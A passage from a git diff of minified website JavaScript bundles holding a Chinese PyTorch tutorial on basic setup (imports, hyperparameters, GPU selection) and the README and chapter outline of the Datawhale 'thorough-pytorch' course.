\u57fa\u672c\u914d\u7f6e"}),"\n",(0,r.jsx)(n.p,{children:"\u5bf9\u4e8e\u4e00\u4e2aPyTorch\u9879\u76ee\uff0c\u6211\u4eec\u9700\u8981\u5bfc\u5165\u4e00\u4e9bPython\u5e38\u7528\u7684\u5305\u6765\u5e2e\u52a9\u6211\u4eec\u5feb\u901f\u5b9e\u73b0\u529f\u80fd\u3002\u5e38\u89c1\u7684\u5305\u6709os\u3001numpy\u7b49\uff0c\u6b64\u5916\u8fd8\u9700\u8981\u8c03\u7528PyTorch\u81ea\u8eab\u4e00\u4e9b\u6a21\u5757\u4fbf\u4e8e\u7075\u6d3b\u4f7f\u7528\uff0c\u6bd4\u5982torch\u3001torch.nn\u3001torch.utils.data.Dataset\u3001torch.utils.data.DataLoader\u3001torch.optimizer\u7b49\u7b49\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"\u5728\u6df1\u5ea6\u5b66\u4e60/\u673a\u5668\u5b66\u4e60\u4e2d\u5e38\u7528\u5230\u7684\u5305"}),"\n",(0,r.jsx)(n.li,{children:"GPU\u7684\u914d\u7f6e"}),"\n"]}),"\n",(0,r.jsxs)(n.p,{children:["\u9996\u5148\u5bfc\u5165\u5fc5\u987b\u7684\u5305\u3002\u6ce8\u610f\u8fd9\u91cc",(0,r.jsx)(n.strong,{children:"\u53ea\u662f\u5efa\u8bae\u5bfc\u5165\u7684\u5305\u5bfc\u5165\u7684\u65b9\u5f0f"}),"\uff0c\u53ef\u4ee5\u91c7\u7528\u4e0d\u540c\u7684\u65b9\u6848\uff0c\u6bd4\u5982\u6d89\u53ca\u5230\u8868\u683c\u4fe1\u606f\u7684\u8bfb\u5165\u5f88\u53ef\u80fd\u7528\u5230pandas\uff0c\u5bf9\u4e8e\u4e0d\u540c\u7684\u9879\u76ee\u53ef\u80fd\u8fd8\u9700\u8981\u5bfc\u5165\u4e00\u4e9b\u66f4\u4e0a\u5c42\u7684\u5305\u5982cv2\u7b49\u3002\u5982\u679c\u6d89\u53ca\u53ef\u89c6\u5316\u8fd8\u4f1a\u7528\u5230matplotlib\u3001seaborn\u7b49\u3002\u6d89\u53ca\u5230\u4e0b\u6e38\u5206\u6790\u548c\u6307\u6807\u8ba1\u7b97\u4e5f\u5e38\u7528\u5230sklearn\u3002"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"import os \nimport numpy as np \nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader\nimport torch.optim as optimizer\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6839\u636e\u524d\u9762\u6211\u4eec\u5bf9\u6df1\u5ea6\u5b66\u4e60\u4efb\u52a1\u7684\u68b3\u7406\uff0c\u6709\u5982\u4e0b\u51e0\u4e2a\u8d85\u53c2\u6570\u53ef\u4ee5\u7edf\u4e00\u8bbe\u7f6e\uff0c\u65b9\u4fbf\u540e\u7eed\u8c03\u8bd5\u65f6\u4fee\u6539\uff1a"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"batch size"}),"\n",(0,r.jsx)(n.li,{children:"\u521d\u59cb\u5b66\u4e60\u7387\uff08\u521d\u59cb\uff09"}),"\n",(0,r.jsx)(n.li,{children:"\u8bad\u7ec3\u6b21\u6570\uff08max_epochs\uff09"}),"\n",(0,r.jsx)(n.li,{children:"GPU\u914d\u7f6e"}),"\n"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"batch_size = 16\n# \u6279\u6b21\u7684\u5927\u5c0f\nlr = 1e-4\n# \u4f18\u5316\u5668\u7684\u5b66\u4e60\u7387\nmax_epochs = 100\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u9664\u4e86\u76f4\u63a5\u5c06\u8d85\u53c2\u6570\u8bbe\u7f6e\u5728\u8bad\u7ec3\u7684\u4ee3\u7801\u91cc\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u4f7f\u7528yaml\u3001json\uff0cdict\u7b49\u6587\u4ef6\u6765\u5b58\u50a8\u8d85\u53c2\u6570\uff0c\u8fd9\u6837\u53ef\u4ee5\u65b9\u4fbf\u540e\u7eed\u7684\u8c03\u8bd5\u548c\u4fee\u6539\uff0c\u8fd9\u79cd\u65b9\u5f0f\u4e5f\u662f\u5e38\u89c1\u7684\u6df1\u5ea6\u5b66\u4e60\u5e93\uff08mmdetection\uff0cPaddledetection\uff0cdetectron2\uff09\u548c\u4e00\u4e9bAI Lab\u91cc\u9762\u6bd4\u8f83\u5e38\u89c1\u7684\u4e00\u79cd\u53c2\u6570\u8bbe\u7f6e\u65b9\u5f0f\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u7684\u6570\u636e\u548c\u6a21\u578b\u5982\u679c\u6ca1\u6709\u7ecf\u8fc7\u663e\u5f0f\u6307\u660e\u8bbe\u5907\uff0c\u9ed8\u8ba4\u4f1a\u5b58\u50a8\u5728CPU\u4e0a\uff0c\u4e3a\u4e86\u52a0\u901f\u6a21\u578b\u7684\u8bad\u7ec3\uff0c\u6211\u4eec\u9700\u8981\u663e\u5f0f\u8c03\u7528GPU\uff0c\u4e00\u822c\u60c5\u51b5\u4e0bGPU\u7684\u8bbe\u7f6e\u6709\u4e24\u79cd\u5e38\u89c1\u7684\u65b9\u5f0f\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"# \u65b9\u6848\u4e00\uff1a\u4f7f\u7528os.environ\uff0c\u8fd9\u79cd\u60c5\u51b5\u5982\u679c\u4f7f\u7528GPU\u4e0d\u9700\u8981\u8bbe\u7f6e\nimport os\nos.environ['CUDA_VISIBLE_DEVICES'] = '0,1' # \u6307\u660e\u8c03\u7528\u7684GPU\u4e3a0,1\u53f7\n\n# \u65b9\u6848\u4e8c\uff1a\u4f7f\u7528\u201cdevice\u201d\uff0c\u540e\u7eed\u5bf9\u8981\u4f7f\u7528GPU\u7684\u53d8\u91cf\u7528.to(device)\u5373\u53ef\ndevice = torch.device(\"cuda:1\" if torch.cuda.is_available() else \"cpu\") # \u6307\u660e\u8c03\u7528\u7684GPU\u4e3a1\u53f7\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u5f53\u7136\u8fd8\u4f1a\u6709\u4e00\u4e9b\u5176\u4ed6\u6a21\u5757\u6216\u7528\u6237\u81ea\u5b9a\u4e49\u6a21\u5757\u4f1a\u7528\u5230\u7684\u53c2\u6570\uff0c\u6709\u9700\u8981\u4e5f\u53ef\u4ee5\u5728\u4e00\u5f00\u59cb\u8fdb\u884c\u8bbe\u7f6e\u3002"})]})}function h(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,r.jsx)(n,{...e,children:(0,r.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/3782ce4e.7f1c456a.js b/en/assets/js/3782ce4e.7f1c456a.js new file mode 100644 index 0000000..5095e9b --- /dev/null +++ b/en/assets/js/3782ce4e.7f1c456a.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3862],{28453:(n,e,t)=>{t.d(e,{R:()=>r,x:()=>h});var l=t(96540);const s={},i=l.createContext(s);function r(n){const e=l.useContext(i);return l.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function h(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:r(n.components),l.createElement(i.Provider,{value:e},n.children)}},86407:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>c,contentTitle:()=>h,default:()=>j,frontMatter:()=>r,metadata:()=>l,toc:()=>d});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/README","title":"AI","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE"},"next":{"title":"PyTorch","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/"}}');var s=t(74848),i=t(28453);const r={},h="AI",c={},d=[{value:"\u4e00\u3001\u9879\u76ee\u521d\u8877",id:"\u4e00\u9879\u76ee\u521d\u8877",level:2},{value:"\u4e8c\u3001\u5185\u5bb9\u7b80\u4ecb",id:"\u4e8c\u5185\u5bb9\u7b80\u4ecb",level:2},{value:"\u4e09\u3001\u4eba\u5458\u5b89\u6392",id:"\u4e09\u4eba\u5458\u5b89\u6392",level:2},{value:"\u56db\u3001 \u8bfe\u7a0b\u7f16\u6392\u4e0e\u914d\u5957\u89c6\u9891",id:"\u56db-\u8bfe\u7a0b\u7f16\u6392\u4e0e\u914d\u5957\u89c6\u9891",level:2},{value:"\u4e94\u3001\u5173\u4e8e\u8d21\u732e",id:"\u4e94\u5173\u4e8e\u8d21\u732e",level:2},{value:"Commit Message",id:"commit-message",level:3},{value:"\u516d\u3001\u66f4\u65b0\u8ba1\u5212",id:"\u516d\u66f4\u65b0\u8ba1\u5212",level:2},{value:"\u4e03\u3001\u9e23\u8c22\u4e0e\u53cd\u9988",id:"\u4e03\u9e23\u8c22\u4e0e\u53cd\u9988",level:2},{value:"\u516b\u3001\u5173\u6ce8\u6211\u4eec",id:"\u516b\u5173\u6ce8\u6211\u4eec",level:2},{value:"LICENSE",id:"license",level:2}];function x(n){const e={a:"a",blockquote:"blockquote",br:"br",code:"code",details:"details",div:"div",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"ai",children:"AI"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:03"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(e.h1,{id:"\u6df1\u5165\u6d45\u51fapytorch",children:"\u6df1\u5165\u6d45\u51faPyTorch"}),"\n",(0,s.jsxs)(e.blockquote,{children:["\n",(0,s.jsxs)(e.p,{children:["[!IMPORTANT]\n",(0,s.jsx)(e.a,{href:"https://datawhalechina.github.io/thorough-pytorch/",children:"\u5728\u7ebf\u9605\u8bfb\u5730\u5740"})," | ",(0,s.jsx)(e.a,{href:"https://www.bilibili.com/video/BV1L44y1472Z",children:"\u914d\u5957\u89c6\u9891\u6559\u7a0b"})," | ",(0,s.jsx)(e.a,{href:"https://aiplusx.momodel.cn/classroom/class/664bf5db24cff38ad7d2a20e?activeKey=intro",children:"\u667a\u6d77\uff08\u56fd\u5bb6\u7ea7AI\u79d1\u6559\u5e73\u53f0\uff09"})]}),"\n",(0,s.jsx)(e.p,{children:"\u8bf7\u6ce8\u610f\uff1a\u5728\u7ebf\u6587\u6863\u66f4\u65b0\u843d\u540e\u4e8e\u4e3b\u4ed3\u5e93\u66f4\u65b0\uff0c\u5efa\u8bae\u770bsource\u6587\u4ef6\u5939\u4e0b\u7684markdown\u6587\u4ef6"}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"\u4e00\u9879\u76ee\u521d\u8877",children:"\u4e00\u3001\u9879\u76ee\u521d\u8877"}),"\n",(0,s.jsx)(e.p,{children:"PyTorch\u662f\u5229\u7528\u6df1\u5ea6\u5b66\u4e60\u8fdb\u884c\u6570\u636e\u79d1\u5b66\u7814\u7a76\u7684\u91cd\u8981\u5de5\u5177\uff0c\u5728\u7075\u6d3b\u6027\u3001\u53ef\u8bfb\u6027\u548c\u6027\u80fd\u4e0a\u90fd\u5177\u5907\u76f8\u5f53\u7684\u4f18\u52bf\uff0c\u8fd1\u5e74\u6765\u5df2\u6210\u4e3a\u5b66\u672f\u754c\u5b9e\u73b0\u6df1\u5ea6\u5b66\u4e60\u7b97\u6cd5\u6700\u5e38\u7528\u7684\u6846\u67b6\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u8003\u8651\u5230PyTorch\u7684\u5b66\u4e60\u517c\u5177\u7406\u8bba\u50a8\u5907\u548c\u52a8\u624b\u8bad\u7ec3\uff0c\u4e24\u624b\u90fd\u8981\u6293\u4e24\u624b\u90fd\u8981\u786c\u7684\u7279\u70b9\uff0c\u6211\u4eec\u5f00\u53d1\u4e86\u300a\u6df1\u5165\u6d45\u51faPyTorch\u300b\u8bfe\u7a0b\uff0c\u671f\u671b\u4ee5\u7ec4\u961f\u5b66\u4e60\u7684\u5f62\u5f0f\uff0c\u5e2e\u52a9\u5927\u5bb6\u4ece\u5165\u95e8\u5230\u719f\u7ec3\u638c\u63e1PyTorch\u5de5\u5177\uff0c\u8fdb\u800c\u5b9e\u73b0\u81ea\u5df1\u7684\u6df1\u5ea6\u5b66\u4e60\u7b97\u6cd5\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u6211\u4eec\u7684\u613f\u666f\u662f\uff1a\u901a\u8fc7\u7ec4\u961f\u5b66\u4e60\uff0c\u5927\u5bb6\u80fd\u591f\u638c\u63e1\u7531\u6d45\u5165\u6df1\u5730PyTorch\u7684\u57fa\u672c\u77e5\u8bc6\u548c\u5185\u5bb9\uff0c\u7ecf\u8fc7\u81ea\u5df1\u7684\u52a8\u624b\u5b9e\u8df5\u52a0\u6df1\u64cd\u4f5c\u7684\u719f\u7ec3\u5ea6\u3002\u540c\u65f6\u901a\u8fc7\u9879\u76ee\u5b9e\u6218\uff0c\u5145\u5206\u953b\u70bc\u7f16\u7a0b\u80fd\u529b\uff0c\u638c\u63e1PyTorch\u8fdb\u884c\u6df1\u5ea6\u5b66\u4e60\u7684\u57fa\u672c\u6d41\u7a0b\uff0c\u63d0\u5347\u89e3\u51b3\u5b9e\u9645\u95ee\u9898\u7684\u80fd\u529b\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u5b66\u4e60\u7684\u5148\u4fee\u8981\u6c42\u662f\uff0c\u4f1a\u4f7f\u7528Python\u7f16\u7a0b\uff0c\u4e86\u89e3\u5305\u62ec\u795e\u7ecf\u7f51\u7edc\u5728\u5185\u7684\u673a\u5668\u5b66\u4e60\u7b97\u6cd5\uff0c\u52e4\u4e8e\u52a8\u624b\u5b9e\u8df5\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u300a\u6df1\u5165\u6d45\u51faPyTorch\u300b\u662f\u4e00\u4e2a\u7cfb\u5217\uff0c\u4e00\u5171\u6709\u4e09\u4e2a\u90e8\u5206\u3002\u5df2\u7ecf\u4e0a\u7ebf\u7684\u662f\u672c\u7cfb\u5217\u7684\u7b2c\u4e00\u3001\u4e8c\u90e8\u5206\uff0c\u540e\u7eed\u4f1a\u4e0d\u65ad\u66f4\u65b0\u300a\u6df1\u5165\u6d45\u51faPyTorch\u300b\uff08\u4e0b\uff09\uff0c\u7ed9\u51fa\u66f4\u8d34\u5408\u5b9e\u9645\u5e94\u7528\u7684\u5b9e\u6218\u6848\u4f8b\u3002"}),"\n",(0,s.jsx)(e.h2,{id:"\u4e8c\u5185\u5bb9\u7b80\u4ecb",children:"\u4e8c\u3001\u5185\u5bb9\u7b80\u4ecb"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u96f6\u7ae0\uff1a\u524d\u7f6e\u77e5\u8bc6\uff08\u9009\u5b66\uff09\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u4eba\u5de5\u667a\u80fd\u7b80\u53f2"}),"\n",(0,s.jsx)(e.li,{children:"\u76f8\u5173\u8bc4\u4ef7\u6307\u6807"}),"\n",(0,s.jsx)(e.li,{children:"\u5e38\u7528\u5305\u7684\u5b66\u4e60"}),"\n",(0,s.jsx)(e.li,{children:"Jupyter\u76f8\u5173\u64cd\u4f5c"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u4e00\u7ae0\uff1aPyTorch\u7684\u7b80\u4ecb\u548c\u5b89\u88c5\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"PyTorch\u7b80\u4ecb"}),"\n",(0,s.jsx)(e.li,{children:"PyTorch\u7684\u5b89\u88c5"}),"\n",(0,s.jsx)(e.li,{children:"PyTorch\u76f8\u5173\u8d44\u6e90\u7b80\u4ecb"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u4e8c\u7ae0\uff1aPyTorch\u57fa\u7840\u77e5\u8bc6\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u5f20\u91cf\u53ca\u5176\u8fd0\u7b97"}),"\n",(0,s.jsx)(e.li,{children:"\u81ea\u52a8\u6c42\u5bfc\u7b80\u4ecb"}),"\n",(0,s.jsx)(e.li,{children:"\u5e76\u884c\u8ba1\u7b97\u3001CUDA\u548ccuDNN\u7b80\u4ecb"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u4e09\u7ae0\uff1aPyTorch\u7684\u4e3b\u8981\u7ec4\u6210\u6a21\u5757\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u601d\u8003\uff1a\u5b8c\u6210\u4e00\u5957\u6df1\u5ea6\u5b66\u4e60\u6d41\u7a0b\u9700\u8981\u54ea\u4e9b\u5173\u952e\u73af\u8282"}),"\n",(0,s.jsx)(e.li,{children:"\u57fa\u672c\u914d\u7f6e"}),"\n",(0,s.jsx)(e.li,{children:"\u6570\u636e\u8bfb\u5165"}),"\n",(0,s.jsx)(e.li,{children:"\u6a21\u578b\u6784\u5efa"}),"\n",(0,s.jsx)(e.li,{children:"\u635f\u5931\u51fd\u6570"}),"\n",(0,s.jsx)(e.li,{children:"\u4f18\u5316\u5668"}),"\n",(0,s.jsx)(e.li,{children:"\u8bad\u7ec3\u548c\u8bc4\u4f30"}),"\n",(0,s.jsx)(e.li,{children:"\u53ef\u89c6\u5316"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u56db\u7ae0\uff1aPyTorch\u57fa\u7840\u5b9e\u6218\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u57fa\u7840\u5b9e\u6218\u2014\u2014Fashion-MNIST\u65f6\u88c5\u5206\u7c7b"}),"\n",(0,s.jsx)(e.li,{children:"\u57fa\u7840\u5b9e\u6218\u2014\u2014\u679c\u852c\u5206\u7c7b\u5b9e\u6218\uff08notebook\uff09"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u4e94\u7ae0\uff1aPyTorch\u6a21\u578b\u5b9a\u4e49\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u6a21\u578b\u5b9a\u4e49\u65b9\u5f0f"}),"\n",(0,s.jsx)(e.li,{children:"\u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc"}),"\n",(0,s.jsx)(e.li,{children:"\u6a21\u578b\u4fee\u6539"}),"\n",(0,s.jsx)(e.li,{children:"\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u516d\u7ae0\uff1aPyTorch\u8fdb\u9636\u8bad\u7ec3\u6280\u5de7\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570"}),"\n",(0,s.jsx)(e.li,{children:"\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387"}),"\n",(0,s.jsx)(e.li,{children:"\u6a21\u578b\u5fae\u8c03-torchvision"}),"\n",(0,s.jsx)(e.li,{children:"\u6a21\u578b\u5fae\u8c03-timm"}),"\n",(0,s.jsx)(e.li,{children:"\u534a\u7cbe\u5ea6\u8bad\u7ec3"}),"\n",(0,s.jsx)(e.li,{children:"\u6570\u636e\u6269\u5145"}),"\n",(0,s.jsx)(e.li,{children:"\u8d85\u53c2\u6570\u7684\u4fee\u6539\u53ca\u4fdd\u5b58"}),"\n",(0,s.jsx)(e.li,{children:"PyTorch\u6a21\u578b\u5b9a\u4e49\u4e0e\u8fdb\u9636\u8bad\u7ec3\u6280\u5de7"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u4e03\u7ae0\uff1aPyTorch\u53ef\u89c6\u5316\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u53ef\u89c6\u5316\u7f51\u7edc\u7ed3\u6784"}),"\n",(0,s.jsx)(e.li,{children:"\u53ef\u89c6\u5316CNN\u5377\u79ef\u5c42"}),"\n",(0,s.jsx)(e.li,{children:"\u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}),"\n",(0,s.jsx)(e.li,{children:"\u4f7f\u7528wandb\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}),"\n",(0,s.jsx)(e.li,{children:"\u4f7f\u7528SwanLab\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u516b\u7ae0\uff1aPyTorch\u751f\u6001\u7b80\u4ecb\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u7b80\u4ecb"}),"\n",(0,s.jsx)(e.li,{children:"\u56fe\u50cf\u2014torchvision"}),"\n",(0,s.jsx)(e.li,{children:"\u89c6\u9891\u2014PyTorchVideo"}),"\n",(0,s.jsx)(e.li,{children:"\u6587\u672c\u2014torchtext"}),"\n",(0,s.jsx)(e.li,{children:"\u97f3\u9891-torchaudio"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u4e5d\u7ae0\uff1a\u6a21\u578b\u90e8\u7f72\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"\u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u7b2c\u5341\u7ae0\uff1a\u5e38\u89c1\u7f51\u7edc\u4ee3\u7801\u7684\u89e3\u8bfb(\u63a8\u8fdb\u4e2d)\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsxs)(e.li,{children:["\u8ba1\u7b97\u673a\u89c6\u89c9\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsxs)(e.li,{children:["\u56fe\u50cf\u5206\u7c7b\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"ResNet\u6e90\u7801\u89e3\u8bfb"}),"\n",(0,s.jsx)(e.li,{children:"Swin Transformer\u6e90\u7801\u89e3\u8bfb"}),"\n",(0,s.jsx)(e.li,{children:"Vision Transformer\u6e90\u7801\u89e3\u8bfb"}),"\n",(0,s.jsx)(e.li,{children:"RNN\u6e90\u7801\u89e3\u8bfb"}),"\n",(0,s.jsx)(e.li,{children:"LSTM\u6e90\u7801\u89e3\u8bfb\u53ca\u5176\u5b9e\u6218"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u76ee\u6807\u68c0\u6d4b\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"YOLO\u7cfb\u5217\u89e3\u8bfb\uff08\u4e0eMMYOLO\u5408\u4f5c\uff09"}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(e.li,{children:"\u56fe\u50cf\u5206\u5272"}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.li,{children:["\u81ea\u7136\u8bed\u8a00\u5904\u7406\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"RNN\u6e90\u7801\u89e3\u8bfb"}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(e.li,{children:"\u97f3\u9891\u5904\u7406"}),"\n",(0,s.jsx)(e.li,{children:"\u89c6\u9891\u5904\u7406"}),"\n",(0,s.jsx)(e.li,{children:"\u5176\u4ed6"}),"\n",(0,s.jsx)(e.li,{}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"\u4e09\u4eba\u5458\u5b89\u6392",children:"\u4e09\u3001\u4eba\u5458\u5b89\u6392"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{children:"\u6210\u5458\xa0"}),(0,s.jsx)(e.th,{children:"\u4e2a\u4eba\u7b80\u4ecb"}),(0,s.jsx)(e.th,{children:"\u4e2a\u4eba\u4e3b\u9875"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"\u725b\u5fd7\u5eb7"}),(0,s.jsx)(e.td,{children:"DataWhale\u6210\u5458\uff0c\u897f\u5b89\u7535\u5b50\u79d1\u6280\u5927\u5b66\u672c\u79d1\u751f"}),(0,s.jsxs)(e.td,{children:["[",(0,s.jsx)(e.a,{href:"https://www.zhihu.com/people/obeah-82",children:"\u77e5\u4e4e"}),"][",(0,s.jsx)(e.a,{href:"https://nofish-528.github.io/",children:"\u4e2a\u4eba\u4e3b\u9875"}),"]"]})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"\u674e\u5609\u9a90"}),(0,s.jsx)(e.td,{children:"DataWhale\u6210\u5458\uff0c\u6e05\u534e\u5927\u5b66\u7814\u7a76\u751f"}),(0,s.jsxs)(e.td,{children:["[",(0,s.jsx)(e.a,{href:"https://www.zhihu.com/people/li-jia-qi-16-9/posts",children:"\u77e5\u4e4e"}),"]"]})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"\u5218\u6d0b"}),(0,s.jsx)(e.td,{children:"Datawhale\u6210\u5458\uff0c\u4e2d\u56fd\u79d1\u5b66\u9662\u6570\u5b66\u4e0e\u7cfb\u7edf\u79d1\u5b66\u7814\u7a76\u6240\u7814\u7a76\u751f"}),(0,s.jsxs)(e.td,{children:["[",(0,s.jsx)(e.a,{href:"https://www.zhihu.com/people/ming-ren-19-34/asks",children:"\u77e5\u4e4e"}),"]"]})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"\u9648\u5b89\u4e1c"}),(0,s.jsx)(e.td,{children:"DataWhale\u6210\u5458\uff0c\u54c8\u5c14\u6ee8\u5de5\u4e1a\u5927\u5b66\u7814\u7a76\u751f"}),(0,s.jsxs)(e.td,{children:["[",(0,s.jsx)(e.a,{href:"https://andongblue.github.io/chenandong.github.io/",children:"\u4e2a\u4eba\u4e3b\u9875"}),"]"]})]})]})]}),"\n",(0,s.jsx)(e.p,{children:"\u655